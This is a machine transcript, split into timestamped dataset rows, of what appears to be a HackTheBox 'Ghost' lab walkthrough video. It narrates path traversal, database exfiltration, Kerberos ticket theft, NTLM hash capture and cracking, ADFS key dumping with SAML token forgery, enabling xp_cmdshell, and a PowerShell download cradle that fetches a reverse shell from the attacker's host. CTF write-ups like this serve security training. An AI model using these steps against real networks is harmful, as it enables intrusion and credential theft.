text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
uh ghost APIcontent. Let's try this. Go back to Burpswuite. Uh repeater. Let's just intercept a new request. Uh not that. This should be fine.
2,622.24
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
send this request uh resource not found. We also need was it key is equal to what they say like this.
2,649.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay. So let's go back over to the content API. They have question mark key like that. We just did that. And then get here we go. Uh post.
2,669.72
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So let's try it post. Okay. Moved permanently. They have a slash. There we go. So this is probably going to be the JSON we hit. And they added a variable called extra. Right? If we go back here, extra frame original query. So let's try saying key and extra is equal to let's do a bunch of dot dot slashes. Etsy pass WDD....
2,684.079
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
environ that and we xxd we can see there's a lot of null bytes and that separates each item. Right? If we just do this, we can read that, but it's a bit better if we just do said s uh replace null bite with back slash rback slashn. And there we go. I find this to be easier to read. And the first thing that sticks out t...
2,800.839
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, why? Oh, because it's a colon, not equals.
2,843.4
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
There we go. Um, so maybe one of those previous things I had tested for worked.
2,855.44
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Probably not. Uh, but there we go. We have that working. However, I do want to get the database. So, I'm going to copy this and let's see. I'm going to change this to be proc self current working directory the database. And I'm going to do this to be ghost.
2,860.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
DB and let's see less. Do we have it? Maybe a binary file. That looks good.
2,890.2
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
SQL 83 ghost db.dump. dump. Uh, we have some type of corruption. I'm guessing um maybe because it was in um JSON format, some character didn't translate well enough. So, I'm going to do the lazy thing and just strings this. And let's see. I'm going to GP for user. And we're just looking to see if we have any password h...
2,896.319
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
There we go. Because that's brypt. A lot of things store things in brypt format. And we get a hash for Katherine. Now, this can't be cracked. Um, you don't really need to do this step. It's just something I would do whenever I have um a file disclosure and see it's using SQLite. I always like Xfilling the database and ...
2,947.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So let's upgrade a TTY. So import pty pty spawn bin bash stty raw minus echo foreground. Enter enter enter. export term is equal to xterm so we can clear the screen so we know we're probably in a docker container just because of the host name right I could do lsla on slash and yes we do see docker m um we could cat the...
3,002.079
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
connection to his dev workstation. And because he's using control master, that means other SSH connections can piggy back upon this one. So if I just SSH and specify this um full thing, it's going to use the authentication that was previously used. So we're going to do this. And there we go. We've just logged into the ...
3,074.559
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
and memory um, for that. So, we're on dev workstation as Florence, and this is a active directory user, I believe. If we go back over to do we have it here? Uh, let's see. Yep, we're here. Florence Romez is in it. Um, if we do IPA or if config, I guess. Uh, there's CD proc. Let's see what are we first. If we do you uh ...
3,132
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
we go. So we can just read files out of here. Um, is it buyers release class DMI ID BIOS release? Okay, it's probably BIOS vendor Microsoft.
3,209.839
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay, board name. So, it is a VM. This is probably HyperV. Um, I'd have to like play with WSL to see if that changes things. Product name, virtual machine. I was hoping to see like um, HyperV or Windows Subsystem on Linux, but I don't think I do. Uh, but this is always something good to check if you're not sure if you'...
3,235.319
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I What did I just go into? Is this like an infinite loop of just directories?
3,268.68
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
That's funny. Yeah. So, nothing too interesting there. So, let's see. Um, the other thing I want to do is get like the net address. So, net where is IP raw? That's not it. TCP. Uh let's see. This is IPs encoded in hex any interface that's 127. Uh this is probably the IP address just encoded in hex. Um, I want to say th...
3,275.359
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, if we look at KLS, and I'm looking at KLIST because, uh, this is definitely an AD user, and it's probably going to be logged into Active Directory. There's probably something we could see um, in Etsy. I don't know what to look for off the top of my head, but we see the ticket here. So, tickets on Linux are stored i...
3,348.319
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And now if I do a K list, I have copied the certificate from his dev workstation onto my machine. So we should be able to do um export kob 5cc name is equal to temp this file. This just makes it easier to use for like other programs. So, I'm going to do um net exec and then we'll do SMB 10124 and we want to say um wher...
3,431.599
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So, we have authentication now to the ghost domain. So, what I want to do now is um run Blood Hound. So, I do opt bloodhound and gestures bloodhound.py bloodhound.py. Does this just run? It looks like it does. I wasn't sure if I had to go like into a um virtual environment or anything like a VM. I'm going to specify da...
3,479.52
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
this real quick. We will run the same thing and I'm going to add the use LDAP sincerame does not match. Let's see. Did I typo his name?
3,567.92
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Copy paste. Let's just delete that. Let's see.
3,601.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Unknown KBTGT default principle. This should be working. Uh maybe it's DNSTCP, not name server. DNS DCP. Oh, wait. That's not it. Is name server flag. It is. Let's see. Does this be capital?
3,619.319
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Something is going wrong here. Oh. Um, I need dash use laps. And it should still come. Let's see. Let's do pseudo wire shark. Kill that. I know this is not capital because I'm not used to capitalizing the domain name. Let's do ton zero. It's going to connect. And I think I see what may be happening. Um the font size is...
3,670.559
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Watch. I will stop that. Restart. And we see more connections. So, how do we stop this? Let's see. Pseudo IP tables dash D. No, A um Dash D 10 000024. J reject. Why is that bad?
3,753.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
-pcp. Oh. Oh, we need output like that. The chain and we don't want TCP. There we go. Now we have created a rule to block everything. So if I even try to like ping 1000254 operation not permitted. So now let's run this ghost Florence name server. Okay. And it's still reaching out.
3,792.92
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I wonder if we just have to run this enough times where we get lucky and um it doesn't attempt to use 1000 254. That has to be it, right? Let's CP temp KB5. Here I'll remove that to be Florence CC cache KB5 CC name just in case this is it. Then we can do Python 3 like that. Let's see. Or IP destination is equal to 10 Z...
3,833.44
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I don't know how to prevent it from doing that other than maybe we just get lucky which I don't like. Connect an ODAP server. Just gonna run it a couple times. I wonder if it's like time based. If we waited like five minutes and ran it again, if then it switches. I don't know how Windows is doing the routing here. Let'...
3,904.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Don't know what that is but maybe prefix name computer file like maybe computer file skip DCs no work enumeration collection I wish it gave us an option for like specifying um the IP address the LDAP server to use because that's definitely that's port 808 still like we're not talking to uh 636 6 808 80 80008 80 8008 So...
3,960.64
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
use LDAP. Do we just specify that? Uh, that's not it. Okay, let's see. We got an error message. Cannot authenticate to LDEP. Check your credentials. Connection timeout. This is definitely the issue.
4,070.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
We just got to get lucky and have the DC return 100024 or not 102. We have to have get lucky and have the DC return the 1010 1124 address which is silly. There's got to be a way around that. Nope. Okay, we're going to try this one last time and then do something really, really stupid. Yeah, none of them connected. Okay...
4,121.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
LDEP IP like hardcode it, but oh well.
4,219.36
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
We will delete that nasty nasty hack and be happy we have blood hound data now.
4,224.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
We do ls. Yes, we do. So let's start up blood hounds and I have it cloned to ophound server and then I can do docker compose up-d and we're going to specify bloodhound is equal to 8088. And the reason why we're doing that is because it defaults to 8080 and I have burpswuite listening on that port. So, we definitely wan...
4,230.8
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
first go to administration and upload the file. So, let's go to HTB. This is ghost. Add the zip. Open. Upload. Upload. and it will take probably around a minute probably to ingest. So, I'm just going to pause the video and we'll come back once this is done. Okay, it is done ingesting. I'm not sure why the first one can...
4,294.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
we'll use this shell to create a like interd domain uh kerros ticket that allows us to access the parent domain.
4,358.64
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
But we're getting a little bit of a headerelves right there. Uh, we could look through other things to see if there's anything interesting. I don't think there's any good queries to um run here. We could go with uh Florence and see what this user can do. Uh we can mark them as owned because we have owned them. But we d...
4,364.8
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
blob. Uh, let's go. Cat user jq.gp-i. Right. Is that better? There we go. So, we have a list of all the rights in this. And we can do a sort-u and then start looking at um what rights there are and what things are interesting. So, we have generic all. Um, we could look at this. It's probably going to be like the um dom...
4,437.52
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
want to mark this as high value.
4,524.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay. And then let's see. We want to do shortest path to this. Maybe I don't see that. Still learning like the new blood hound and what they have. Um shortest path to high value targets.
4,530.36
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Oh god, Justin Bradley. So, generic all account operators has access to that. If we look at inbound control of this, um, we don't have anything. So, we have to get over to Justin Bradley. And if we went all the way back and thought about the recon we did earlier, let's go.
4,554
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, it was on the internet, I think. So, let's go back to internet.go. And this is where it starts really helping if we take notes, right? Because if we go to form, we see Justin Bradley here is trying to connect to bitbucket.go.htb. It doesn't work. And then Katherine says, "Migration's not ready yet, so DNS isn't con...
4,579.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
DNS tool to add a domain and DNS tool is part of Kobe Relay X. So you can just go to GitHub and download this package and then you have DNS tool.py and this will let us create a new name. So let's do Python 3 DNS tool-H to see how to use it. And let's see Kobe 5cc. Uh let's go back here. Where do we have this um ticket...
4,642
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
bucket and then let's see. There's probably like a zone or something because we have to specify where this record goes to. Is there a zone? There we go. So, we can do d-zone ghost.htb - d for the data. That's going to be 10 10 148. And then we have to specify. Do we have to specify anything else?
4,721.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, let's see. IP address of the DNS server. So, let's do that. 10 10 11 24. And then probably the target which will be dco1.go.htb. And I think I got that all correct. We will run it again. Connecting. Um adding new record. Lap completed successfully. Let's go back up here. Hit enter. And there we go. Uh we probably s...
4,755.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
fix that name. So, it's Justin Bradley. Then, dot /hashcat the file word list rocku.ext. And I think that's all we need because it should be able to autodetect this as a NLM v2 hash. Let's see. There we go. It's already cracked. We can look at it. And we have uh Justin Bradley's password of certy up one two three4 doll...
4,836.08
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
me uh pone because I can get a shell. Now keep in mind remember Justin could also um read the GMSA password. Uh, we've already got rid of that blood hound query. But if we do d-gms on I think LDAP, there we go. It just automatically reads all the group managed service account passwords that we can. And we have ADFS rig...
4,921.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
probably here. federation ghost htb. Save that. Let's add the certificate so we can connect to it. And then what is it? Justin bradley ghost.htb. And what is this password cap credentials? Put this back on my clipboard.
4,998.4
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Paste. It's thinking about logging in. Surprised it's taking this long.
5,030.36
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Come on. It's got another SSL warning now. Accept the risk. Resend.
5,037.84
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And then we get this page is only available to administrator but this whole um federation page. Let's go back here. https uh federation ghost htb uh we probably have to go to core. Is it 8443? uh we have it in our cookie now, but this is using Active Directory Federation Services. And since we have the ADFS account, uh...
5,046.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, unauthorized core. Maybe it's on the Federation domain. Let's see. Let's just go into our preferences and delete cookies. Uh, settings. Clear. I can type data cookies in sight. There we go. Go back to the core. Log in. There we go. So, we want to leave it here and dump the um ADFS data. And we can do that with the ...
5,101.639
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And I have no idea why we're getting this zip argument is that is weird to me. But uh let's do evil winrm i 1010 10 1124- u adfsc_gmsa and then is it like dash hashes or what is the hash for password capital h and let's specify the nlm hash. So hopefully this lets us in and there we go. We have a shell as ADFS GMSA. So...
5,199.84
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And there's no release. Let's see. I probably have it on my box though.
5,256.76
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So if we go to opt sharp collection if you don't have sharp collection um if you Google it right collection GitHub yes it's just the first result on GitHub it has a uh bunch of net tools already compiled right so we can do gp-- I adfs and awesome we have it so I'm going to copy the net4.7 and we will see if net 47 is o...
5,263.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
ADFS dump.exe. It's uploading. Come on.
5,309.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
There we go. Upload successful. And now let's just execute it. So adfsdump.exe. Run this. And it should give us a lot of data. And then just copy this back to my terminal. And then the next tool we'll need is called ADFS spoof, I want to say. And this will be something we run on our box. and we um create the connect SI...
5,326.639
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay. So, we want to be able to run this tool now. So, let's copy the URL and then we'll clone it on a buck. So, get clone, put this in, and then let's go into ADFS spoof.
5,389.08
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, let's create a virtual environment. So, Python 3-m VM.VM and then we can do a source VM bin activate. Okay. PIP 3 install-r requirements.ext. And if this doesn't install for you, um it's probably because you're not running Python 3.11.
5,404
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um I'm on 3112. If you have a deskro that's using like 312 or something like that, uh it probably will not work. But once you have the tool running, you should be able to do ADFS spoof. And the arguments are going to be a little bit weird. There is a um subcommand module like once we specify the arguments we want here,...
5,429.44
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So there's a lot of options we'll have to do. Um but first we have to get the um blob and that is going to be the encrypted pfx block and decryption key and those are in the ADFS output that we grabbed. So if I do less dot dofs output um this is the second one is going to be the decryption key. So, let's just go ahead ...
5,477.08
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
bin. And then the next thing we have to get is the um encrypted token signing key. And this is the reason why I just copied it as a big string because if we um or like I copied the entire output because if we do less- capital S, we can see this B 64 is just on one line. So instead of trying to copy and paste this huge ...
5,537.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
um core ghost htb. Then we can say saml2-h and we need a few things. So first is going to be the end point and we get the endpoint from doing a login request. So instead of um stepping through everything one at a time, I'm just going to set this to go to burpswuite. Uh, let's go over to my history tab. We're going to c...
5,620.92
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And now we'll go do a login. So we can say Justin Bradley at ghost.htb. Go back to our box. Get his credential. Copy. Paste. sign in and we can see everything that's going on. So once the login request happens um it's going to direct us back somewhere and that's going to be the endpoint right here. So this ADFS sample ...
5,652.52
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So let's go ahead and start putting this in. So, endpoint https core gear http8443 adfs sample post response. Get rid of that extra slash. There we go. And then the name, ID, format. Um, it uses emails. I bet if we uh found it in here, there's going to be something called the assertion. I'm getting ahead of myself if I...
5,692.639
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, SAML. Is it going to load or is it just going slow because I'm going through burpuite? Uh, intercept off. There we go. Let's see. I want to go over to Google and we'll go to this Oracle article and this has a list of all the name ID formats. We have persistent, transient, email address, subject name. We may be able...
5,735.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
HDB and then RP identifier. So the identifier for the relaying party that is going to be core ghost HTB and now we have to get the is it dash? It is assertions. And this is going to be the somewhat hard one to find. If we look in the history, we have this sample response where we went to the ADFS post response. And I w...
5,803.4
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
value and we'll do administrator and then email is going to be administrator at ghost.htb.
5,901
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And let's see. What do I have? We have too much data. Uh maybe we don't have enough. We need attribute statement. So let's see. We did that. Tribute name. Let's go attribute statement to attribute. Maybe this is it. We'll just copy the piece we did not have.
5,918.8
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Opening an end tag. Attribute statement. Attribute name. Let's start with attribute name. There we go. So, this will be spoof.out. I'm going to call this. And again, the reason why I'm doing that is all the B 64 is just on one line. So it makes it easy to um copy. So we can grab this and then Xclipip uh let's see dash ...
5,973.52
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, grip that on spoof selection primary clipboard. I always forget if it's primary or clipboard for control V. So I always just do them both. But now we should have a sample response that says we are administrator. So, uh, what we want to do, wonder if I can just paste this. So, I sent that to repeater. We'll see. I'm...
6,029.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Go back to here. Let's go into our cookies. Change our SID. Refresh. Uh, it still says unauthorized. We had the URL in. Get rid of that. And we're at the login page. So, what happened before is there's an endpoint unauthorized. Um, and it says we're currently logged in as administrator, but it's only available to admin...
6,080.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So we could run like splin uh servers and we see there is a server name at primary. So we could go with um let's do a select host name real quick that's going to run on whatever server we're running as. And it's weird it's a docker container it looks like based upon that host name. I didn't know Docker could run like M...
6,134.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
open and then uh exec xp cmd shell who am I to see if we can run that. And we probably could have tried that also on just the host but we'll get access denied I believe. Uh permission denied if we took the um link thing off. we also get permission denied. So, we don't have this permission. Now, we could just blindly tr...
6,213.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
why I closed that because we can just cat this. One day I'll get in the muscle memory of being able to copy and paste out of V, but that is not today. So these are all the permissions and we can see um the permission view any database the one has granted principal ID too. I think one's probably going to be essay or lik...
6,284.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
call that perm. And then we're going to do a join cis.server_principles. Um, and we'll call this as grantee on granty dot principal ID. I think that's what it was. Where is it? Is this the rolls? What are we looking at? Yeah, principal ID. There we go. Is equal to perm dot uh this is going to be granty principal id and...
6,351.36
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Paste it in. Unclose quote. Let's see. Oh.
6,457.76
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, there we go. Duplicate column names. Okay.
6,470.52
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So it doesn't like that we have grantee.name and grantor.name. So I'm going to do as grantee and this will be as grantor. Let's just make our sequel more polite by not capitalizing everything. Let's copy all of this. Paste. There we go. So we can see the grantor SA has given uh Bridge Corp the permission to connect. Ne...
6,487.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Granty.ame name is equal to current user and this will show us like our current permissions right I think it's granty let's just cat this and try it uh where is what did we screw up there. Oh, because I have a single quote cuz that quote goes here. Let's copy this. There we go. So the two roles Bridge Corp has been gra...
6,540.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
quote and single quotes bit of quote inception but let's try this copy paste and blocked. So now the next step is we have to enable um XP cmd shell and we can just delete those to keep this a little bit cleaner. So I'm going to copy this line and then MSSQL cheat sheet. Copy this and let's see this is what we want. So,...
6,673.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Keep in mind it's going to put the stupid angled quotes. Reconfigure. Okay, hopefully this does it. Let's copy this. Go here.
6,739.599
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
incorrect syntax near show because quotes. I guess I probably should have wrapped the whole thing in uh double quotes and I may have been able to use single quotes in the actual query, but I've already gone too far. Hopefully, this is it. Please work.
6,760.4
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
That looks promising. Let's execute our XPCMD shell again. And there we go. We have it.
6,790.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Awesome. So now we have to get a reverse shell going because um yeah. So let's see. I'm going to do make dubdubdub cd dubdubdub uh cp user shared nang. Is it lowercase?
6,797.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Yes. Shells. Then invoke PowerShell TCP oneline. PS1. Call it shell.ps1. Let's see. Let us just do uh we can do the top one. So show PS1. Do that there. Let's do 10 1048 for 901.
6,818.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Save and then Python 3-mTP server. We also need to create our PowerShell oneliner. Um, cd cradle v cd dubdubdub v cradle. Then what is it?ex new objectnet.
6,861
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Weebclient download string http 101048 port 8000 shell.ps1 PS1. I think that's all right. Um, let's cat cradle. I convert to UTF 16 little Indian. Is it UTF6LE and then base 64 W0? Copy this. And let's see xp cmd shell powershell-en for encoded command. Copy paste. The end starts with this is too long. That's annoying.
6,889.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I wonder if this is short enough. Okay.
6,964.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I'm getting into quote inception here. This is what I always hate.
6,990.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um maybe let's hope this works. Copy paste.
6,999.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
It's taking longer. I don't know why it's taking so long. I haven't got a hit.
7,014.48
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
10 10488000 fail to cancel request. That was one of the slower things I've seen. It eventually made the request, but man was that delayed.
7,026.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
doing the execution. I'm guessing this is going to be antivirus, a fail to create process. So, this is why I always like doing web cradles. Um, because we can see it makes the get request back to us and then just hangs.
7,059.92
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I'm guessing maybe it's cash or something L. Let's do NP 8000. Like I am baffled why I don't see the request come in immediately like that request is so delayed for the get request. Uh, let's see. Windows error code five. Lack of permission. Let's see. Run this again, maybe.
7,085.44
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Huh? It made the request once to us. It doesn't want to do it again. What if we call it something else? Shell 2.ps1. Let's try V SQL query. Invoke web request.
7,155.719
0
